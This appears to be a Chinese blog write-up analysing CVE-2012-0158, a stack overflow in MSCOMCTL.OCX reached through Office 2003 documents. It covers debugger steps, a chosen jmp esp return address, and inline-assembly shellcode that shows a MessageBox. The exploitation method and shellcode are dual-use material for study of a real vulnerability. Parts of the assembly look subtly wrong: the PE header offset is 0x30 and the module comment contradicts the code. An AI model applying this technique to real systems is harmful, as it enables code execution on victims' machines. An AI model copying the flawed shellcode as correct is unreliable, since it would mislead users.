zoukankan      html  css  js  c++  java
  • 4 CVE-2012-0158 漏洞分析

    操作系统:Windows7 32位 专业版

    Office:2003sp3_20120218.exe

    工具:OD和IDA

    1.漏洞的本质:程序编写时未对内存拷贝函数的长度参数进行足够严谨的验证,造成的堆栈缓冲区溢出。

    2漏洞分析:

    1.获取poc:

    网络下载

    2.漏洞复现

    安装office2003 sp3

    直接运行poc样本,观察程序的运行状态,通过Windows反馈信息可知,此漏洞是典型的栈溢出型漏洞。

    clip_image001

    使用OD进行附加:

    clip_image003

    因为栈的结构如下图,所以通过对poc栈分析,下部的栈已经被破坏,上部的栈是程序出现问题的运势状态。

    clip_image004

    向上栈回述找到如下地址:

    clip_image006

    重新进行附加,对此函数进行分析,定位漏洞产生的位置:

    clip_image008

    在此时函数所在的模块,通过OD快捷键:Alt+E查找对应模块

    clip_image009

    clip_image011

    将MSCOMCTL.OCX加载进IDA,对call MSCOMCTL.275C876D漏洞产生函数分析:

    clip_image013

    由上可知此漏洞的产生,是因为对栈检测时没有设定上限导致的,所以漏洞的修补就是对是否进行内存拷贝的判断时,小于判断即可

    通过对OD动态调试:

    clip_image015

    通过对poc进行010分析,因为poc是需要对漏洞进行利用,而275C876D是漏洞产生的函数,静态分析可知,第三个参数是申请的内存空间的大小,根据ShellCode的编写需要内存空间进行存储,所以,直接在poc的010中搜索8282,即可定位到自定义缓冲区位置

    clip_image017

    3漏洞利用:

    Shellcode:

    1. 在运行的程序中寻找跳板指令地址:

    Jmp esp

    使用 ImmunityDebugger+mona.py

    !mona modules

    clip_image019

    因为此模块位系统模块且各种保护位false

    clip_image020

    选择可读可执行的 jmp esp 地址:0x729a0535

    2. 编写通用ShellCode的思路:

    以简单的MessageBox为例:

    1.获取Kernel32.dll 基地址

    2.获取GetProcAddress 函数地址

    3.获取LoadLibraryExA 函数地址

    4.调用LoadLibraryExA 获取user32.dll基地址

    5.调用GetProcAddress 获取MessageBoxA 函数地址

    6.传参调用MessageBoxA

    7.调用GetProcAddress,获取ExitProcess函数地址

    8.传参调用ExitProcess

    为缩短ShellCode的通过获取API Hash值进行匹对完成

      1 /* 通过对APIHASH值的匹对行进获取 */
      2 DWORD GetHash(char *fun_name)
      3 {
      4     DWORD digest = 0;
      5     while (*fun_name)
      6     {
      7         digest = ((digest << 25) | (digest >> 7));    // 实现了digest的循环右移7位(或循环左移25位)
      8         digest += *fun_name;
      9         fun_name++;
     10     }
     11     return digest;
     12 }
     13 int main()
     14 {
     15     _asm
     16     {
     17         // 将所要使用的函数的hash值入栈
     18         cld // 清空标志位DF
     19         push 0x1e380a6a    // MessageBoxA的Hash值
     20         push 0x4fd18963 // ExitProcess的Hash值
     21         push 0x0c917432    // LoadLibraryA的Hash值
     22         mov esi, esp        // 令esi指向栈顶位置,此时指向堆栈中存放的LoadLibrary
     23         lea edi, [esi - 0xc]// 后面利用edi的值来调用不同的函数
     24 
     25         // 开辟栈空间
     26         xor ebx, ebx    // ebx置0
     27         mov bh, 0x04        // 此时ebx为0x400
     28         sub esp, ebx        // 开辟0x400大小的空间
     29 
     30         // 压入“user32.dll”
     31         mov bx, 0x3233    // 0x3和0x2 倒叙存储
     32         push ebx        // 入栈
     33         push 0x72657375    // “user”入栈
     34         push esp
     35         xor edx, edx        // edx置0
     36 
     37         // 查找kernel32.dll的基地址
     38         mov ebx, fs:[edx + 0x30]    // [TEB+0x30]是PEB的位置
     39         mov ecx, [ebx + 0xc]        // [PEB+0xc]是PEB_LDR_DATA的位置
     40             mov ecx, [ecx + 0x1c]    // [PEB_LDR_DATA+0x1c]是InInitializationOrderModuleList
     41         mov ecx, [ecx]            // 进入链表第一个就是ntdll.dll
     42         mov ebp, [ecx + 0x8]        // ebp保存的是Kernel32.dll的基地址
     43 
     44         find_lib_function :
     45         lodsd
     46         cmp eax, 0x1e380a6a        // 与MessageBoxA的Hash值进行比较
     47         jne find_functions        // 如果不相等,继续查找
     48         xchg eax, ebp
     49         call[edi - 0x8]
     50         xchg eax, ebp
     51 
     52         // 在PE文件中查找相应的API函数
     53         find_functions :
     54         pushad        // 保护所有寄存器中的内容
     55             mov eax, [ebp + 0x30]    // PE头
     56             mov ecx, [ebp + eax + 0x78]// 导出表的指针
     57             add ecx, ebp
     58             mov ebx, [ecx + 0x20]    // 导出函数的名字列表
     59             add ebx, ebp
     60             xor edi, edi    // edi置0
     61 
     62             // 循环读取导出表函数
     63             next_function_loop :
     64         inc edi    // edi不断自增,作为索引
     65             mov esi, [ebx + edi*4] // 从列表数组中读取
     66             add esi, ebp    // esi保存的是函数名所在的地址
     67             cdq        // 把edx的每一个位置成eax的最高位,再把edx扩展位eax的高位,变成64位
     68 
     69             // hash值的计算
     70             hash_loop :
     71         movsx eax, byte ptr[esi]    // 每次取出一个字符放入eax中
     72             cmp al, ah    // 验证eax是否为0x0,即结束符
     73             jz compare_hash    // 如果上述结果为0,说明hash值计算完毕进行hash比对
     74             ror edx, 7    // 如果cmp的结果不为0,则进行循环右移7为的操作
     75             add edx, eax // 将循环右移的值不断累加
     76             inc esi        // esi自增,用于读取下一个字符
     77             jmp hash_loop // 跳转到hash_loop的位置继续计算
     78 
     79             // hash值的比较
     80             compare_hash :
     81         cmp edx, [esp + 0x1c] // 与LoadLibraryA的hash值进行比较
     82             jnz next_function_loop // 如果比较不成功,继续寻找导出表的下一个函数
     83             mov ebx, [ecx + 0x24]
     84             add ebx, ebp
     85             mov di, [ebx + 2 * edi]
     86             mov ebx, [ecx + 0x1c]
     87             add ebx, ebp
     88             add ebp, [ebx + 4 * edi]
     89             xchg eax, ebp
     90             pop edi
     91             push edi
     92             popad                // 还原所有寄存器内容
     93             cmp eax, 0x1e380a6a // 与MessageBoxA的Hash值进行比较
     94 
     95         // 主函数内容,用于显示对话框
     96             function_call:
     97         xor ebx, ebx
     98             sub esp, 0x50
     99             xor ebx, ebx
    100             push ebx     // cut string
    101             push 0x48656c6c    // push "hell"
    102             mov eax, esp
    103             push ebx             // cut string  
    104             push 0x576f726c   // push "worl"
    105             mov ecx, esp
    106 
    107             push ebx
    108             push eax
    109             push ecx
    110             push ebx
    111             mov eax, 0x77d507ea
    112             call eax           // call MessageBox
    113             push ebx
    114             mov eax, 0x7c81cafa
    115             call eax            // call ExitProcess
    116     }
    117     return 0;
    118 }

    4总结:

    1. 栈数据被当成代码执行

    2. 想要通用的shellcode就需要动态获取kernel32.dll,解析kernel32.dll的导出表获取API

    3. 漏洞的利用:覆盖函数返回地址,jmp esp跳转

    4. 从编程角度理解思考漏洞的成因并防范

  • 相关阅读:
    ssh登录 The authenticity of host 192.168.0.xxx can't be established. 的问题
    linux系统之间互传文件
    Ubuntu16.04上Docker的安装及基本用法
    Ubuntu git 与 gitlab 关联
    Ubuntu E: Sub-process /usr/bin/dpkg returned an error code (1)
    ubuntu16.04搭建jdk1.8运行环境
    Ubuntu18.04 安装Tomcat 8.5
    VMware Ubuntu安装详细过程
    Ubuntu 14.04远程登录服务器--ssh的安装和配置
    Java中文编程开发,让Java编写更改复杂
  • 原文地址:https://www.cnblogs.com/heixiang/p/10985151.html
Copyright © 2011-2022 走看看